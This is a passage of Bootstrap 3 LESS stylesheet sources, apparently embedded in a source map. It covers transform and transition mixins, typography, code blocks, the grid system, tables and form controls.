{\n -webkit-transform: rotateX(@degrees);\n -ms-transform: rotateX(@degrees); // IE9 only\n -o-transform: rotateX(@degrees);\n transform: rotateX(@degrees);\n}\n.rotateY(@degrees) {\n -webkit-transform: rotateY(@degrees);\n -ms-transform: rotateY(@degrees); // IE9 only\n -o-transform: rotateY(@degrees);\n transform: rotateY(@degrees);\n}\n.perspective(@perspective) {\n -webkit-perspective: @perspective;\n -moz-perspective: @perspective;\n perspective: @perspective;\n}\n.perspective-origin(@perspective) {\n -webkit-perspective-origin: @perspective;\n -moz-perspective-origin: @perspective;\n perspective-origin: @perspective;\n}\n.transform-origin(@origin) {\n -webkit-transform-origin: @origin;\n -moz-transform-origin: @origin;\n -ms-transform-origin: @origin; // IE9 only\n transform-origin: @origin;\n}\n\n\n// Transitions\n\n.transition(@transition) {\n -webkit-transition: @transition;\n -o-transition: @transition;\n transition: @transition;\n}\n.transition-property(@transition-property) {\n -webkit-transition-property: @transition-property;\n transition-property: @transition-property;\n}\n.transition-delay(@transition-delay) {\n -webkit-transition-delay: @transition-delay;\n transition-delay: @transition-delay;\n}\n.transition-duration(@transition-duration) {\n -webkit-transition-duration: @transition-duration;\n transition-duration: @transition-duration;\n}\n.transition-timing-function(@timing-function) {\n -webkit-transition-timing-function: @timing-function;\n transition-timing-function: @timing-function;\n}\n.transition-transform(@transition) {\n -webkit-transition: -webkit-transform @transition;\n -moz-transition: -moz-transform @transition;\n -o-transition: -o-transform @transition;\n transition: transform @transition;\n}\n\n\n// User select\n// For selecting text on the page\n\n.user-select(@select) {\n -webkit-user-select: @select;\n -moz-user-select: @select;\n -ms-user-select: @select; // IE10+\n user-select: @select;\n}\n","// WebKit-style focus\n\n.tab-focus() {\n // Default\n outline: thin dotted;\n // WebKit\n outline: 5px auto -webkit-focus-ring-color;\n outline-offset: -2px;\n}\n","// Image Mixins\n// - Responsive image\n// - Retina image\n\n\n// Responsive image\n//\n// Keep images from scaling beyond the width of their parents.\n.img-responsive(@display: block) {\n display: @display;\n max-width: 100%; // Part 1: Set a maximum relative to the parent\n height: auto; // Part 2: Scale the height according to the width, otherwise you get stretching\n}\n\n\n// Retina image\n//\n// Short retina mixin for setting background-image and -size. Note that the\n// spelling of `min--moz-device-pixel-ratio` is intentional.\n.img-retina(@file-1x; @file-2x; @width-1x; @height-1x) {\n background-image: url(\"@{file-1x}\");\n\n @media\n only screen and (-webkit-min-device-pixel-ratio: 2),\n only screen and ( min--moz-device-pixel-ratio: 2),\n only screen and ( -o-min-device-pixel-ratio: 2/1),\n only screen and ( min-device-pixel-ratio: 2),\n only screen and ( min-resolution: 192dpi),\n only screen and ( min-resolution: 2dppx) {\n background-image: url(\"@{file-2x}\");\n background-size: @width-1x @height-1x;\n }\n}\n","//\n// Typography\n// --------------------------------------------------\n\n\n// Headings\n// -------------------------\n\nh1, h2, h3, h4, h5, h6,\n.h1, .h2, .h3, .h4, .h5, .h6 {\n font-family: @headings-font-family;\n font-weight: @headings-font-weight;\n line-height: @headings-line-height;\n color: @headings-color;\n\n small,\n .small {\n font-weight: normal;\n line-height: 1;\n color: @headings-small-color;\n }\n}\n\nh1, .h1,\nh2, .h2,\nh3, .h3 {\n margin-top: @line-height-computed;\n margin-bottom: (@line-height-computed / 2);\n\n small,\n .small {\n font-size: 65%;\n }\n}\nh4, .h4,\nh5, .h5,\nh6, .h6 {\n margin-top: (@line-height-computed / 2);\n margin-bottom: (@line-height-computed / 2);\n\n small,\n .small {\n font-size: 75%;\n }\n}\n\nh1, .h1 { font-size: @font-size-h1; }\nh2, .h2 { font-size: @font-size-h2; }\nh3, .h3 { font-size: @font-size-h3; }\nh4, .h4 { font-size: @font-size-h4; }\nh5, .h5 { font-size: @font-size-h5; }\nh6, .h6 { font-size: @font-size-h6; }\n\n\n// Body text\n// -------------------------\n\np {\n margin: 0 0 (@line-height-computed / 2);\n}\n\n.lead {\n margin-bottom: @line-height-computed;\n font-size: floor((@font-size-base * 1.15));\n font-weight: 300;\n line-height: 1.4;\n\n @media (min-width: @screen-sm-min) {\n font-size: (@font-size-base * 1.5);\n }\n}\n\n\n// Emphasis & misc\n// -------------------------\n\n// Ex: (12px small font / 14px base font) * 100% = about 85%\nsmall,\n.small {\n font-size: floor((100% * @font-size-small / @font-size-base));\n}\n\nmark,\n.mark {\n background-color: @state-warning-bg;\n padding: .2em;\n}\n\n// Alignment\n.text-left { text-align: left; }\n.text-right { text-align: right; }\n.text-center { text-align: center; }\n.text-justify { text-align: justify; }\n.text-nowrap { white-space: nowrap; }\n\n// Transformation\n.text-lowercase { text-transform: lowercase; }\n.text-uppercase { text-transform: uppercase; }\n.text-capitalize { text-transform: capitalize; }\n\n// Contextual colors\n.text-muted {\n color: @text-muted;\n}\n.text-primary {\n .text-emphasis-variant(@brand-primary);\n}\n.text-success {\n .text-emphasis-variant(@state-success-text);\n}\n.text-info {\n .text-emphasis-variant(@state-info-text);\n}\n.text-warning {\n .text-emphasis-variant(@state-warning-text);\n}\n.text-danger {\n .text-emphasis-variant(@state-danger-text);\n}\n\n// Contextual backgrounds\n// For now we'll leave these alongside the text classes until v4 when we can\n// safely shift things around (per SemVer rules).\n.bg-primary {\n // Given the contrast here, this is the only class to have its color inverted\n // automatically.\n color: #fff;\n .bg-variant(@brand-primary);\n}\n.bg-success {\n .bg-variant(@state-success-bg);\n}\n.bg-info {\n .bg-variant(@state-info-bg);\n}\n.bg-warning {\n .bg-variant(@state-warning-bg);\n}\n.bg-danger {\n .bg-variant(@state-danger-bg);\n}\n\n\n// Page header\n// -------------------------\n\n.page-header {\n padding-bottom: ((@line-height-computed / 2) - 1);\n margin: (@line-height-computed * 2) 0 @line-height-computed;\n border-bottom: 1px solid @page-header-border-color;\n}\n\n\n// Lists\n// -------------------------\n\n// Unordered and Ordered lists\nul,\nol {\n margin-top: 0;\n margin-bottom: (@line-height-computed / 2);\n ul,\n ol {\n margin-bottom: 0;\n }\n}\n\n// List options\n\n// Unstyled keeps list items block level, just removes default browser padding and list-style\n.list-unstyled {\n padding-left: 0;\n list-style: none;\n}\n\n// Inline turns list items into inline-block\n.list-inline {\n .list-unstyled();\n margin-left: -5px;\n\n > li {\n display: inline-block;\n padding-left: 5px;\n padding-right: 5px;\n }\n}\n\n// Description Lists\ndl {\n margin-top: 0; // Remove browser default\n margin-bottom: @line-height-computed;\n}\ndt,\ndd {\n line-height: @line-height-base;\n}\ndt {\n font-weight: bold;\n}\ndd {\n margin-left: 0; // Undo browser default\n}\n\n// Horizontal description lists\n//\n// Defaults to being stacked without any of the below styles applied, until the\n// grid breakpoint is reached (default of ~768px).\n\n.dl-horizontal {\n dd {\n &:extend(.clearfix all); // Clear the floated `dt` if an empty `dd` is present\n }\n\n @media (min-width: @grid-float-breakpoint) {\n dt {\n float: left;\n width: (@dl-horizontal-offset - 20);\n clear: left;\n text-align: right;\n .text-overflow();\n }\n dd {\n margin-left: @dl-horizontal-offset;\n }\n }\n}\n\n\n// Misc\n// -------------------------\n\n// Abbreviations and acronyms\nabbr[title],\n// Add data-* attribute to help out our tooltip plugin, per https://github.com/twbs/bootstrap/issues/5257\nabbr[data-original-title] {\n cursor: help;\n border-bottom: 1px dotted @abbr-border-color;\n}\n.initialism {\n font-size: 90%;\n .text-uppercase();\n}\n\n// Blockquotes\nblockquote {\n padding: (@line-height-computed / 2) @line-height-computed;\n margin: 0 0 @line-height-computed;\n font-size: @blockquote-font-size;\n border-left: 5px solid @blockquote-border-color;\n\n p,\n ul,\n ol {\n &:last-child {\n margin-bottom: 0;\n }\n }\n\n // Note: Deprecated small and .small as of v3.1.0\n // Context: https://github.com/twbs/bootstrap/issues/11660\n footer,\n small,\n .small {\n display: block;\n font-size: 80%; // back to default font-size\n line-height: @line-height-base;\n color: @blockquote-small-color;\n\n &:before {\n content: '\\2014 \\00A0'; // em dash, nbsp\n }\n }\n}\n\n// Opposite alignment of blockquote\n//\n// Heads up: `blockquote.pull-right` has been deprecated as of v3.1.0.\n.blockquote-reverse,\nblockquote.pull-right {\n padding-right: 15px;\n padding-left: 0;\n border-right: 5px solid @blockquote-border-color;\n border-left: 0;\n text-align: right;\n\n // Account for citation\n footer,\n small,\n .small {\n &:before { content: ''; }\n &:after {\n content: '\\00A0 \\2014'; // nbsp, em dash\n }\n }\n}\n\n// Addresses\naddress {\n margin-bottom: @line-height-computed;\n font-style: normal;\n line-height: @line-height-base;\n}\n","// Typography\n\n.text-emphasis-variant(@color) {\n color: @color;\n a&:hover,\n a&:focus {\n color: darken(@color, 10%);\n }\n}\n","// Contextual backgrounds\n\n.bg-variant(@color) {\n background-color: @color;\n a&:hover,\n a&:focus {\n background-color: darken(@color, 10%);\n }\n}\n","// Text overflow\n// Requires inline-block or block for proper styling\n\n.text-overflow() {\n overflow: hidden;\n text-overflow: ellipsis;\n white-space: nowrap;\n}\n","//\n// Code (inline and block)\n// --------------------------------------------------\n\n\n// Inline and block code styles\ncode,\nkbd,\npre,\nsamp {\n font-family: @font-family-monospace;\n}\n\n// Inline code\ncode {\n padding: 2px 4px;\n font-size: 90%;\n color: @code-color;\n background-color: @code-bg;\n border-radius: @border-radius-base;\n}\n\n// User input typically entered via keyboard\nkbd {\n padding: 2px 4px;\n font-size: 90%;\n color: @kbd-color;\n background-color: @kbd-bg;\n border-radius: @border-radius-small;\n box-shadow: inset 0 -1px 0 rgba(0,0,0,.25);\n\n kbd {\n padding: 0;\n font-size: 100%;\n font-weight: bold;\n box-shadow: none;\n }\n}\n\n// Blocks of code\npre {\n display: block;\n padding: ((@line-height-computed - 1) / 2);\n margin: 0 0 (@line-height-computed / 2);\n font-size: (@font-size-base - 1); // 14px to 13px\n line-height: @line-height-base;\n word-break: break-all;\n word-wrap: break-word;\n color: @pre-color;\n background-color: @pre-bg;\n border: 1px solid @pre-border-color;\n border-radius: @border-radius-base;\n\n // Account for some code outputs that place code tags in pre tags\n code {\n padding: 0;\n font-size: inherit;\n color: inherit;\n white-space: pre-wrap;\n background-color: transparent;\n border-radius: 0;\n }\n}\n\n// Enable scrollable blocks of code\n.pre-scrollable {\n max-height: @pre-scrollable-max-height;\n overflow-y: scroll;\n}\n","//\n// Grid system\n// --------------------------------------------------\n\n\n// Container widths\n//\n// Set the container width, and override it for fixed navbars in media queries.\n\n.container {\n .container-fixed();\n\n @media (min-width: @screen-sm-min) {\n width: @container-sm;\n }\n @media (min-width: @screen-md-min) {\n width: @container-md;\n }\n @media (min-width: @screen-lg-min) {\n width: @container-lg;\n }\n}\n\n\n// Fluid container\n//\n// Utilizes the mixin meant for fixed width containers, but without any defined\n// width for fluid, full width layouts.\n\n.container-fluid {\n .container-fixed();\n}\n\n\n// Row\n//\n// Rows contain and clear the floats of your columns.\n\n.row {\n .make-row();\n}\n\n\n// Columns\n//\n// Common styles for small and large grid columns\n\n.make-grid-columns();\n\n\n// Extra small grid\n//\n// Columns, offsets, pushes, and pulls for extra small devices like\n// smartphones.\n\n.make-grid(xs);\n\n\n// Small grid\n//\n// Columns, offsets, pushes, and pulls for the small device range, from phones\n// to tablets.\n\n@media (min-width: @screen-sm-min) {\n .make-grid(sm);\n}\n\n\n// Medium grid\n//\n// Columns, offsets, pushes, and pulls for the desktop device range.\n\n@media (min-width: @screen-md-min) {\n .make-grid(md);\n}\n\n\n// Large grid\n//\n// Columns, offsets, pushes, and pulls for the large desktop device range.\n\n@media (min-width: @screen-lg-min) {\n .make-grid(lg);\n}\n","// Grid system\n//\n// Generate semantic grid columns with these mixins.\n\n// Centered container element\n.container-fixed(@gutter: @grid-gutter-width) {\n margin-right: auto;\n margin-left: auto;\n padding-left: (@gutter / 2);\n padding-right: (@gutter / 2);\n &:extend(.clearfix all);\n}\n\n// Creates a wrapper for a series of columns\n.make-row(@gutter: @grid-gutter-width) {\n margin-left: ceil((@gutter / -2));\n margin-right: floor((@gutter / -2));\n &:extend(.clearfix all);\n}\n\n// Generate the extra small columns\n.make-xs-column(@columns; @gutter: @grid-gutter-width) {\n position: relative;\n float: left;\n width: percentage((@columns / @grid-columns));\n min-height: 1px;\n padding-left: (@gutter / 2);\n padding-right: (@gutter / 2);\n}\n.make-xs-column-offset(@columns) {\n margin-left: percentage((@columns / @grid-columns));\n}\n.make-xs-column-push(@columns) {\n left: percentage((@columns / @grid-columns));\n}\n.make-xs-column-pull(@columns) {\n right: percentage((@columns / @grid-columns));\n}\n\n// Generate the small columns\n.make-sm-column(@columns; @gutter: @grid-gutter-width) {\n position: relative;\n min-height: 1px;\n padding-left: (@gutter / 2);\n padding-right: (@gutter / 2);\n\n @media (min-width: @screen-sm-min) {\n float: left;\n width: percentage((@columns / @grid-columns));\n }\n}\n.make-sm-column-offset(@columns) {\n @media (min-width: @screen-sm-min) {\n margin-left: percentage((@columns / @grid-columns));\n }\n}\n.make-sm-column-push(@columns) {\n @media (min-width: @screen-sm-min) {\n left: percentage((@columns / @grid-columns));\n }\n}\n.make-sm-column-pull(@columns) {\n @media (min-width: @screen-sm-min) {\n right: percentage((@columns / @grid-columns));\n }\n}\n\n// Generate the medium columns\n.make-md-column(@columns; @gutter: @grid-gutter-width) {\n position: relative;\n min-height: 1px;\n padding-left: (@gutter / 2);\n padding-right: (@gutter / 2);\n\n @media (min-width: @screen-md-min) {\n float: left;\n width: percentage((@columns / @grid-columns));\n }\n}\n.make-md-column-offset(@columns) {\n @media (min-width: @screen-md-min) {\n margin-left: percentage((@columns / @grid-columns));\n }\n}\n.make-md-column-push(@columns) {\n @media (min-width: @screen-md-min) {\n left: percentage((@columns / @grid-columns));\n }\n}\n.make-md-column-pull(@columns) {\n @media (min-width: @screen-md-min) {\n right: percentage((@columns / @grid-columns));\n }\n}\n\n// Generate the large columns\n.make-lg-column(@columns; @gutter: @grid-gutter-width) {\n position: relative;\n min-height: 1px;\n padding-left: (@gutter / 2);\n padding-right: (@gutter / 2);\n\n @media (min-width: @screen-lg-min) {\n float: left;\n width: percentage((@columns / @grid-columns));\n }\n}\n.make-lg-column-offset(@columns) {\n @media (min-width: @screen-lg-min) {\n margin-left: percentage((@columns / @grid-columns));\n }\n}\n.make-lg-column-push(@columns) {\n @media (min-width: @screen-lg-min) {\n left: percentage((@columns / @grid-columns));\n }\n}\n.make-lg-column-pull(@columns) {\n @media (min-width: @screen-lg-min) {\n right: percentage((@columns / @grid-columns));\n }\n}\n","// Framework grid generation\n//\n// Used only by Bootstrap to generate the correct number of grid classes given\n// any value of `@grid-columns`.\n\n.make-grid-columns() {\n // Common styles for all sizes of grid columns, widths 1-12\n .col(@index) { // initial\n @item: ~\".col-xs-@{index}, .col-sm-@{index}, .col-md-@{index}, .col-lg-@{index}\";\n .col((@index + 1), @item);\n }\n .col(@index, @list) when (@index =< @grid-columns) { // general; \"=<\" isn't a typo\n @item: ~\".col-xs-@{index}, .col-sm-@{index}, .col-md-@{index}, .col-lg-@{index}\";\n .col((@index + 1), ~\"@{list}, @{item}\");\n }\n .col(@index, @list) when (@index > @grid-columns) { // terminal\n @{list} {\n position: relative;\n // Prevent columns from collapsing when empty\n min-height: 1px;\n // Inner gutter via padding\n padding-left: ceil((@grid-gutter-width / 2));\n padding-right: floor((@grid-gutter-width / 2));\n }\n }\n .col(1); // kickstart it\n}\n\n.float-grid-columns(@class) {\n .col(@index) { // initial\n @item: ~\".col-@{class}-@{index}\";\n .col((@index + 1), @item);\n }\n .col(@index, @list) when (@index =< @grid-columns) { // general\n @item: ~\".col-@{class}-@{index}\";\n .col((@index + 1), ~\"@{list}, @{item}\");\n }\n .col(@index, @list) when (@index > @grid-columns) { // terminal\n @{list} {\n float: left;\n }\n }\n .col(1); // kickstart it\n}\n\n.calc-grid-column(@index, @class, @type) when (@type = width) and (@index > 0) {\n .col-@{class}-@{index} {\n width: percentage((@index / @grid-columns));\n }\n}\n.calc-grid-column(@index, @class, @type) when (@type = push) and (@index > 0) {\n .col-@{class}-push-@{index} {\n left: percentage((@index / @grid-columns));\n }\n}\n.calc-grid-column(@index, @class, @type) when (@type = push) and (@index = 0) {\n .col-@{class}-push-0 {\n left: auto;\n }\n}\n.calc-grid-column(@index, @class, @type) when (@type = pull) and (@index > 0) {\n .col-@{class}-pull-@{index} {\n right: percentage((@index / @grid-columns));\n }\n}\n.calc-grid-column(@index, @class, @type) when (@type = pull) and (@index = 0) {\n .col-@{class}-pull-0 {\n right: auto;\n }\n}\n.calc-grid-column(@index, @class, @type) when (@type = offset) {\n .col-@{class}-offset-@{index} {\n margin-left: percentage((@index / @grid-columns));\n }\n}\n\n// Basic looping in LESS\n.loop-grid-columns(@index, @class, @type) when (@index >= 0) {\n .calc-grid-column(@index, @class, @type);\n // next iteration\n .loop-grid-columns((@index - 1), @class, @type);\n}\n\n// Create grid for specific class\n.make-grid(@class) {\n .float-grid-columns(@class);\n .loop-grid-columns(@grid-columns, @class, width);\n .loop-grid-columns(@grid-columns, @class, pull);\n .loop-grid-columns(@grid-columns, @class, push);\n .loop-grid-columns(@grid-columns, @class, offset);\n}\n","//\n// Tables\n// --------------------------------------------------\n\n\ntable {\n background-color: @table-bg;\n}\ncaption {\n padding-top: @table-cell-padding;\n padding-bottom: @table-cell-padding;\n color: @text-muted;\n text-align: left;\n}\nth {\n text-align: left;\n}\n\n\n// Baseline styles\n\n.table {\n width: 100%;\n max-width: 100%;\n margin-bottom: @line-height-computed;\n // Cells\n > thead,\n > tbody,\n > tfoot {\n > tr {\n > th,\n > td {\n padding: @table-cell-padding;\n line-height: @line-height-base;\n vertical-align: top;\n border-top: 1px solid @table-border-color;\n }\n }\n }\n // Bottom align for column headings\n > thead > tr > th {\n vertical-align: bottom;\n border-bottom: 2px solid @table-border-color;\n }\n // Remove top border from thead by default\n > caption + thead,\n > colgroup + thead,\n > thead:first-child {\n > tr:first-child {\n > th,\n > td {\n border-top: 0;\n }\n }\n }\n // Account for multiple tbody instances\n > tbody + tbody {\n border-top: 2px solid @table-border-color;\n }\n\n // Nesting\n .table {\n background-color: @body-bg;\n }\n}\n\n\n// Condensed table w/ half padding\n\n.table-condensed {\n > thead,\n > tbody,\n > tfoot {\n > tr {\n > th,\n > td {\n padding: @table-condensed-cell-padding;\n }\n }\n }\n}\n\n\n// Bordered version\n//\n// Add borders all around the table and between all the columns.\n\n.table-bordered {\n border: 1px solid @table-border-color;\n > thead,\n > tbody,\n > tfoot {\n > tr {\n > th,\n > td {\n border: 1px solid @table-border-color;\n }\n }\n }\n > thead > tr {\n > th,\n > td {\n border-bottom-width: 2px;\n }\n }\n}\n\n\n// Zebra-striping\n//\n// Default zebra-stripe styles (alternating gray and transparent backgrounds)\n\n.table-striped {\n > tbody > tr:nth-of-type(odd) {\n background-color: @table-bg-accent;\n }\n}\n\n\n// Hover effect\n//\n// Placed here since it has to come after the potential zebra striping\n\n.table-hover {\n > tbody > tr:hover {\n background-color: @table-bg-hover;\n }\n}\n\n\n// Table cell sizing\n//\n// Reset default table behavior\n\ntable col[class*=\"col-\"] {\n position: static; // Prevent border hiding in Firefox and IE9-11 (see https://github.com/twbs/bootstrap/issues/11623)\n float: none;\n display: table-column;\n}\ntable {\n td,\n th {\n &[class*=\"col-\"] {\n position: static; // Prevent border hiding in Firefox and IE9-11 (see https://github.com/twbs/bootstrap/issues/11623)\n float: none;\n display: table-cell;\n }\n }\n}\n\n\n// Table backgrounds\n//\n// Exact selectors below required to override `.table-striped` and prevent\n// inheritance to nested tables.\n\n// Generate the contextual variants\n.table-row-variant(active; @table-bg-active);\n.table-row-variant(success; @state-success-bg);\n.table-row-variant(info; @state-info-bg);\n.table-row-variant(warning; @state-warning-bg);\n.table-row-variant(danger; @state-danger-bg);\n\n\n// Responsive tables\n//\n// Wrap your tables in `.table-responsive` and we'll make them mobile friendly\n// by enabling horizontal scrolling. Only applies <768px. Everything above that\n// will display normally.\n\n.table-responsive {\n overflow-x: auto;\n min-height: 0.01%; // Workaround for IE9 bug (see https://github.com/twbs/bootstrap/issues/14837)\n\n @media screen and (max-width: @screen-xs-max) {\n width: 100%;\n margin-bottom: (@line-height-computed * 0.75);\n overflow-y: hidden;\n -ms-overflow-style: -ms-autohiding-scrollbar;\n border: 1px solid @table-border-color;\n\n // Tighten up spacing\n > .table {\n margin-bottom: 0;\n\n // Ensure the content doesn't wrap\n > thead,\n > tbody,\n > tfoot {\n > tr {\n > th,\n > td {\n white-space: nowrap;\n }\n }\n }\n }\n\n // Special overrides for the bordered tables\n > .table-bordered {\n border: 0;\n\n // Nuke the appropriate borders so that the parent can handle them\n > thead,\n > tbody,\n > tfoot {\n > tr {\n > th:first-child,\n > td:first-child {\n border-left: 0;\n }\n > th:last-child,\n > td:last-child {\n border-right: 0;\n }\n }\n }\n\n // Only nuke the last row's bottom-border in `tbody` and `tfoot` since\n // chances are there will be only one `tr` in a `thead` and that would\n // remove the border altogether.\n > tbody,\n > tfoot {\n > tr:last-child {\n > th,\n > td {\n border-bottom: 0;\n }\n }\n }\n\n }\n }\n}\n","// Tables\n\n.table-row-variant(@state; @background) {\n // Exact selectors below required to override `.table-striped` and prevent\n // inheritance to nested tables.\n .table > thead > tr,\n .table > tbody > tr,\n .table > tfoot > tr {\n > td.@{state},\n > th.@{state},\n &.@{state} > td,\n &.@{state} > th {\n background-color: @background;\n }\n }\n\n // Hover states for `.table-hover`\n // Note: this is not available for cells or rows within `thead` or `tfoot`.\n .table-hover > tbody > tr {\n > td.@{state}:hover,\n > th.@{state}:hover,\n &.@{state}:hover > td,\n &:hover > .@{state},\n &.@{state}:hover > th {\n background-color: darken(@background, 5%);\n }\n }\n}\n","//\n// Forms\n// --------------------------------------------------\n\n\n// Normalize non-controls\n//\n// Restyle and baseline non-control form elements.\n\nfieldset {\n padding: 0;\n margin: 0;\n border: 0;\n // Chrome and Firefox set a `min-width: min-content;` on fieldsets,\n // so we reset that to ensure it behaves more like a standard block element.\n // See https://github.com/twbs/bootstrap/issues/12359.\n min-width: 0;\n}\n\nlegend {\n display: block;\n width: 100%;\n padding: 0;\n margin-bottom: @line-height-computed;\n font-size: (@font-size-base * 1.5);\n line-height: inherit;\n color: @legend-color;\n border: 0;\n border-bottom: 1px solid @legend-border-color;\n}\n\nlabel {\n display: inline-block;\n max-width: 100%; // Force IE8 to wrap long content (see https://github.com/twbs/bootstrap/issues/13141)\n margin-bottom: 5px;\n font-weight: bold;\n}\n\n\n// Normalize form controls\n//\n// While most of our form styles require extra classes, some basic normalization\n// is required to ensure optimum display with or without those classes to better\n// address browser inconsistencies.\n\n// Override content-box in Normalize (* isn't specific enough)\ninput[type=\"search\"] {\n .box-sizing(border-box);\n}\n\n// Position radios and checkboxes better\ninput[type=\"radio\"],\ninput[type=\"checkbox\"] {\n margin: 4px 0 0;\n margin-top: 1px \\9; // IE8-9\n line-height: normal;\n}\n\ninput[type=\"file\"] {\n display: block;\n}\n\n// Make range inputs behave like textual form controls\ninput[type=\"range\"] {\n display: block;\n width: 100%;\n}\n\n// Make multiple select elements height not fixed\nselect[multiple],\nselect[size] {\n height: auto;\n}\n\n// Focus for file, radio, and checkbox\ninput[type=\"file\"]:focus,\ninput[type=\"radio\"]:focus,\ninput[type=\"checkbox\"]:focus {\n .tab-focus();\n}\n\n// Adjust output element\noutput {\n display: block;\n padding-top: (@padding-base-vertical + 1);\n font-size: @font-size-base;\n line-height: @line-height-base;\n color: @input-color;\n}\n\n\n// Common form controls\n//\n// Shared size and type resets for form controls. Apply `.form-control` to any\n// of the following form controls:\n//\n// select\n// textarea\n// input[type=\"text\"]\n// input[type=\"password\"]\n// input[type=\"datetime\"]\n// input[type=\"datetime-local\"]\n// input[type=\"date\"]\n// input[type=\"month\"]\n// input[type=\"time\"]\n// input[type=\"week\"]\n// input[type=\"number\"]\n// input[type=\"email\"]\n// input[type=\"url\"]\n// input[type=\"search\"]\n// input[type=\"tel\"]\n// input[type=\"color\"]\n\n.form-control {\n display: block;\n width: 100%;\n height: @input-height-base; // Make inputs at least the height of their button counterpart (base line-height + padding + border)\n padding: @padding-base-vertical @padding-base-horizontal;\n font-size: @font-size-base;\n line-height: @line-height-base;\n color: @input-color;\n background-color: @input-bg;\n background-image: none; // Reset unusual Firefox-on-Android default style; see https://github.com/necolas/normalize.css/issues/214\n border: 1px solid @input-border;\n border-radius: @input-border-radius; // Note: This has no effect on s in some browsers, due to the limited stylability of s in CSS.\n .box-shadow(inset 0 1px 1px rgba(0,0,0,.075));\n .transition(~\"border-color ease-in-out .15s, box-shadow ease-in-out .15s\");\n\n // Customize the `:focus` state to imitate native WebKit styles.\n .form-control-focus();\n\n // Placeholder\n .placeholder();\n\n // Disabled and read-only inputs\n //\n // HTML5 says that controls under a fieldset > legend:first-child won't be\n // disabled if the fieldset is disabled. Due to implementation difficulty, we\n // don't honor that edge case; we style them as disabled anyway.\n &[disabled],\n &[readonly],\n fieldset[disabled] & {\n background-color: @input-bg-disabled;\n opacity: 1; // iOS fix for unreadable disabled content; see https://github.com/twbs/bootstrap/issues/11655\n }\n\n &[disabled],\n fieldset[disabled] & {\n cursor: @cursor-disabled;\n }\n\n // Reset height for `textarea`s\n textarea& {\n height: auto;\n }\n}\n\n\n// Search inputs in iOS\n//\n// This overrides the extra rounded corners on search inputs in iOS so that our\n// `.form-control` class can properly style them. Note that this cannot simply\n// be added to `.form-control` as it's not specific enough. For details, see\n// https://github.com/twbs/bootstrap/issues/11586.\n\ninput[type=\"search\"] {\n -webkit-appearance: none;\n}\n\n\n// Special styles for iOS temporal inputs\n//\n// In Mobile Safari, setting `display: block` on temporal inputs causes the\n// text within the input to become vertically misaligned. As a workaround, we\n// set a pixel line-height that matches the given height of the input, but only\n// for Safari. See https://bugs.webkit.org/show_bug.cgi?id=139848\n//\n// Note that as of 8.3, iOS doesn't support `datetime` or `week`.\n\n@media screen and (-webkit-min-device-pixel-ratio: 0) {\n input[type=\"date\"],\n input[type=\"time\"],\n input[type=\"datetime-local\"],\n input[type=\"month\"] {\n &.form-control {\n line-height: @input-height-base;\n }\n\n &.input-sm,\n .input-group-sm & {\n line-height: @input-height-small;\n }\n\n &.input-lg,\n .input-group-lg & {\n line-height: @input-height-large;\n }\n }\n}\n\n\n// Form groups\n//\n// Designed to help with the organization and spacing of vertical forms. For\n// horizontal forms, use the predefined grid classes.\n\n.form-group {\n margin-bottom: @form-group-margin-bottom;\n}\n\n\n// Checkboxes and radios\n//\n// Indent the labels to position radios/checkboxes as hanging controls.\n\n.radio,\n.checkbox {\n position: relative;\n display: block;\n margin-top: 10px;\n margin-bottom: 10px;\n\n label {\n min-height: @line-height-computed; // Ensure the input doesn't jump when there is no text\n padding-left: 20px;\n margin-bottom: 0;\n font-weight: normal;\n cursor: pointer;\n }\n}\n.radio input[type=\"radio\"],\n.radio-inline input[type=\"radio\"],\n.checkbox input[type=\"checkbox\"],\n.checkbox-inline input[type=\"checkbox\"] {\n position: absolute;\n margin-left: -20px;\n margin-top: 4px \\9;\n}\n\n.radio + .radio,\n.checkbox + .checkbox {\n margin-top: -5px; // Move up sibling radios or checkboxes for tighter spacing\n}\n\n// Radios and checkboxes on same line\n.radio-inline,\n.checkbox-inline {\n position: relative;\n display: inline-block;\n padding-left: 20px;\n margin-bottom: 0;\n vertical-align: middle;\n font-weight: normal;\n cursor: pointer;\n}\n.radio-inline + .radio-inline,\n.checkbox-inline + .checkbox-inline {\n margin-top: 0;\n margin-left: 10px; // space out consecutive inline controls\n}\n\n// Apply same disabled cursor tweak as for inputs\n// Some special care is needed because s don't inherit their parent's `cursor`.\n//\n// Note: Neither radios nor checkboxes can be readonly.\ninput[type=\"radio\"],\ninput[type=\"checkbox\"] {\n &[disabled],\n &.disabled,\n fieldset[disabled] & {\n cursor: @cursor-disabled;\n }\n}\n// These classes are used directly on s\n.radio-inline,\n.checkbox-inline {\n &.disabled,\n fieldset[disabled] & {\n cursor: @cursor-disabled;\n }\n}\n// These classes are used on elements with descendants\n.radio,\n.checkbox {\n &.disabled,\n fieldset[disabled] & {\n label {\n cursor: @cursor-disabled;\n }\n }\n}\n\n\n// Static form control text\n//\n// Apply class to a `p` element to make any string of text align with labels in\n// a horizontal form layout.\n\n.form-control-static {\n // Size it appropriately next to real form controls\n padding-top: (@padding-base-vertical + 1);\n padding-bottom: (@padding-base-vertical + 1);\n // Remove default margin from `p`\n margin-bottom: 0;\n min-height: (@line-height-computed + @font-size-base);\n\n &.input-lg,\n &.input-sm {\n padding-left: 0;\n padding-right: 0;\n }\n}\n\n\n// Form control sizing\n//\n// Build on `.form-control` with modifier classes to decrease or increase the\n// height and font-size of form controls.\n//\n// The `.form-group-* form-control` variations are sadly duplicated to avoid the\n// issue documented in https://github.com/twbs/bootstrap/issues/15074.\n\n.input-sm {\n .input-size(@input-height-small; @padding-small-vertical; @padding-small-horizontal; @font-size-small; @line-height-small; @input-border-radius-small);\n}\n.form-group-sm {\n .form-control {\n height: @input-height-small;\n padding: @padding-small-vertical @padding-small-horizontal;\n font-size: @font-size-small;\n line-height: @line-height-small;\n border-radius: @input-border-radius-small;\n }\n select.form-control {\n height: @input-height-small;\n line-height: @input-height-small;\n }\n textarea.form-control,\n select[multiple].form-control {\n height: auto;\n }\n .form-control-static {\n height: @input-height-small;\n min-height: (@line-height-computed + @font-size-small);\n padding: (@padding-small-vertical + 1) @padding-small-horizontal;\n font-size: @font-size-small;\n line-height: @line-height-small;\n }\n}\n\n.input-lg {\n .input-size(@input-height-large; @padding-large-vertical; @padding-large-horizontal; @font-size-large; @line-height-large; @input-border-radius-large);\n}\n.form-group-lg {\n .form-control {\n height: @input-height-large;\n padding: @padding-large-vertical @padding-large-horizontal;\n font-size: @font-size-large;\n line-height: @line-height-large;\n border-radius: @input-border-radius-large;\n }\n select.form-control {\n height: @input-height-large;\n line-height: @input-height-large;\n }\n textarea.form-control,\n select[multiple].form-control {\n height: 